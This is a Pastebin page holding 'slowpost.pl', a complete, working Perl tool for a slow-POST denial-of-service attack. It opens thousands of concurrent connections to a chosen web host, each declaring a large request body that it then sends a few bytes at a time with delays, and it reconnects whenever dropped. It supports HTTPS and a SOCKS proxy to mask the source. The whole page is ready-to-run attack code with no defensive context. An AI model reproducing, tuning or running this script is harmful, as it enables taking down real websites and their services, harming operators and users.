Advertisement
Topol

slowpost.pl

Aug 28th, 2012
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.31 KB | None | 0 0
  1.     #!/usr/bin/perl
  2.     use strict;
  3.     use warnings;
  4.      
  5.     use Errno;
  6.     use POSIX;
  7.      
  8.     use Getopt::Long;
  9.      
  10.     use AnyEvent;
  11.     use AnyEvent::Handle;
  12.      
  13.     my $port = 80;
  14.     my $concurrency = 10000;
  15.     my $min_chunk_size = 4;
  16.     my $max_chunk_size = 16;
  17.     my $min_body_size = $max_chunk_size * 512;
  18.     my $max_body_size = $min_body_size * 8;
  19.     my $body_send_delay = 1.5;
  20.     my $connection_delay = 1;
  21.     my $user_agent = '';
  22.     my $ssl = 0;
  23.     my $proxy;
  24.      
  25.     my $help;
  26.      
  27.     my $help_message = <<HELP
  28.     Usage: $0 [options] hostname
  29.      
  30.       --ssl                     use HTTPS
  31.       --port=NUM                target port number (default: $port)
  32.       --concurrency=NUM         number of concurrent connections (default: $concurrency)
  33.       --min-chunk-size=BYTES    min post body chunk size in bytes (default: $min_chunk_size)
  34.       --max-chunk-size=BYTES    max post body chunk size in bytes (default: $max_chunk_size)
  35.       --min-body-size=BYTES     min post body size (default: $min_body_size)
  36.       --max-body-size=BYTES     max post body size (default: $max_body_size)
  37.       --body-send-delay=SEC     delay in seconds between completion of sending
  38.                                 previous chunk and start of sending next chunk
  39.                                 (default: $connection_delay)
  40.       --connection-delay=SEC    delay in seconds before reconnecting (default: $connection_delay)
  41.       --user-agent=STRING       http user agent (default: no User-Agent header)
  42.       --socks-proxy=HOST:PORT   use specified SOCKS proxy
  43.      
  44.     HELP
  45.     ;
  46.      
  47.     GetOptions(
  48.         'ssl' => \$ssl,
  49.         'port=i' => \$port,
  50.         'concurrency=i' => \$concurrency,
  51.         'min-chunk-size=i' => \$min_chunk_size,
  52.         'max-chunk-size=i' => \$max_chunk_size,
  53.         'min-body-size=i' => \$min_body_size,
  54.         'max-body-size=i' => \$max_body_size,
  55.         'connection-delay=f' => \$connection_delay,
  56.         'body-send-delay=f' => \$body_send_delay,
  57.         'user-agent=s' => \$user_agent,
  58.         'socks-proxy=s' => \$proxy,
  59.         'help' => \$help,
  60.     );
  61.      
  62.     if (defined $proxy) {
  63.         if ($proxy =~ /^([\w\.\-]+):(\d+)$/) {
  64.             $proxy = [$1, $2];
  65.         } else {
  66.             print "Please specify proxy in HOST:PORT format\n\n";
  67.             print $help_message;
  68.             exit 1;
  69.         }
  70.     }
  71.      
  72.     my $host = $ARGV[0];
  73.      
  74.     if (!defined $host || $help) {
  75.         print $help_message;
  76.         exit 1;
  77.     }
  78.      
  79.     my @clients;
  80.      
  81.     foreach my $n (1 .. $concurrency) {
  82.         my $client = new SlowHTTPClient(
  83.             name => "Client #$n",
  84.             host => $host,
  85.             port => $port,
  86.             ssl => $ssl,
  87.             path => '/',
  88.             connection_delay => $connection_delay,
  89.             body_send_delay => $body_send_delay,
  90.             min_chunk_size => $min_chunk_size,
  91.             max_chunk_size => $max_chunk_size,
  92.             min_body_size => $min_body_size,
  93.             max_body_size => $max_body_size,
  94.             user_agent => $user_agent,
  95.             proxy => $proxy,
  96.         );
  97.        
  98.         push @clients, $client;
  99.     }
  100.      
  101.     for my $client (@clients) {
  102.         $client->connect;
  103.     }
  104.      
  105.     AnyEvent->loop;
  106.      
  107.     package SlowHTTPClient;
  108.      
  109.     sub new {
  110.         my ($class, %params) = @_;
  111.        
  112.         return bless {
  113.             %params,
  114.             fh => undef,
  115.             connected => 0,
  116.         }, $class;
  117.     }
  118.      
  119.     sub log {
  120.         my ($self, $message) = @_;
  121.        
  122.         print POSIX::strftime('[%d.%m.%Y %H:%M:%S]', localtime) . " $self->{name}: $message\n";
  123.     }
  124.      
  125.     sub connect {
  126.         my $self = shift;
  127.        
  128.         $self->{body_size} = $self->{min_body_size} + int(rand($self->{max_body_size} - $self->{min_body_size} + 1));
  129.         $self->{body} = 'A' x $self->{body_size};
  130.        
  131.         $self->{fh} = new AnyEvent::Handle(
  132.             connect => $self->{proxy} || [$self->{host}, $self->{port}],
  133.             on_error => sub {
  134.                 if ($self->{connected}) {
  135.                     $self->log("Connection dropped, reconnecting (" .
  136.                                ($self->{body_size} - length $self->{body}) .
  137.                                " of $self->{body_size} bytes sent)");
  138.                 } else {
  139.                     $self->log("Connection refused, reconnecting");
  140.                 }
  141.                
  142.                 $self->reconnect($self->{connection_delay} * 5);
  143.             },
  144.             on_eof => sub {
  145.                 $self->log("Connection closed, reconnecting (" .
  146.                            ($self->{body_size} - length $self->{body}) .
  147.                            " of $self->{body_size} bytes sent)");
  148.                 $self->reconnect;
  149.             },
  150.             on_connect => $self->{proxy} ? sub {$self->_on_proxy_connect} : sub {$self->_on_server_connect},
  151.             keepalive => 1,
  152.         );
  153.     }
  154.      
  155.     sub _on_proxy_connect {
  156.         my $self = shift;
  157.        
  158.         $self->{fh}->push_write(pack "CCnNZ*Z*", 4, 1, $self->{port}, 1, '', $self->{host});
  159.      
  160.         $self->{fh}->push_read(chunk => 8, sub {
  161.             my ($fh, $chunk) = @_;
  162.             my ($status, $port, $ipn) = unpack "xCna4", $chunk;
  163.            
  164.             if ($status == 0x5a) {
  165.                 $self->_on_server_connect;
  166.             } else {
  167.                 $self->log("Proxy error, status code is 0x" . sprintf('%x', $status));
  168.                 $self->reconnect($self->{connection_delay} * 5);
  169.             }
  170.         });
  171.     }
  172.      
  173.     sub _on_server_connect {
  174.         my $self = shift;
  175.        
  176.         $self->{connected} = 1;
  177.         $self->log('Connected! Body size is ' . $self->{body_size});
  178.        
  179.         $self->{fh}->on_drain(sub {
  180.             $self->{send_delay_timer} = AnyEvent->timer(
  181.                 after => $self->{body_send_delay},
  182.                 cb => sub {$self->send_chunk},
  183.             )
  184.         });
  185.      
  186.         $self->{fh}->starttls('connect') if $self->{ssl};
  187.        
  188.         $self->send_headers;
  189.         $self->send_chunk;
  190.     }
  191.      
  192.     sub reconnect {
  193.         my ($self, $delay) = @_;
  194.        
  195.         delete $self->{send_delay_timer};
  196.         $self->{connected} = 0;
  197.        
  198.         $self->{reconnection_timer} = AnyEvent->timer(
  199.             after => $delay || $self->{connection_delay},
  200.             cb => sub {$self->connect},
  201.         );
  202.     }
  203.      
  204.     sub send_headers {
  205.         my $self = shift;
  206.        
  207.         my $request = "POST $self->{path} HTTP/1.1\n" .
  208.             "Host: $self->{host}\n" .
  209.             "Content-Type: application/x-www-form-urlencoded\n" .
  210.             (length $self->{user_agent} ? "User-Agent: $self->{user_agent}\n" : '') .
  211.             "Content-Length: " . length($self->{body}) . "\n" .
  212.             "\n";
  213.        
  214.         $self->{fh}->push_write($request);
  215.     }
  216.      
  217.     sub send_chunk {
  218.         my $self = shift;
  219.        
  220.         my $chunk_size = $self->{min_chunk_size} + int(rand($self->{max_chunk_size} - $self->{min_chunk_size} + 1));
  221.         my $chunk = substr($self->{body}, 0, $chunk_size, '');
  222.        
  223.         if ($chunk) {
  224.             $self->{fh}->push_write($chunk);
  225.         } else {
  226.             $self->log("Request completed, reconnecting");
  227.             $self->reconnect;
  228.         }
  229.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement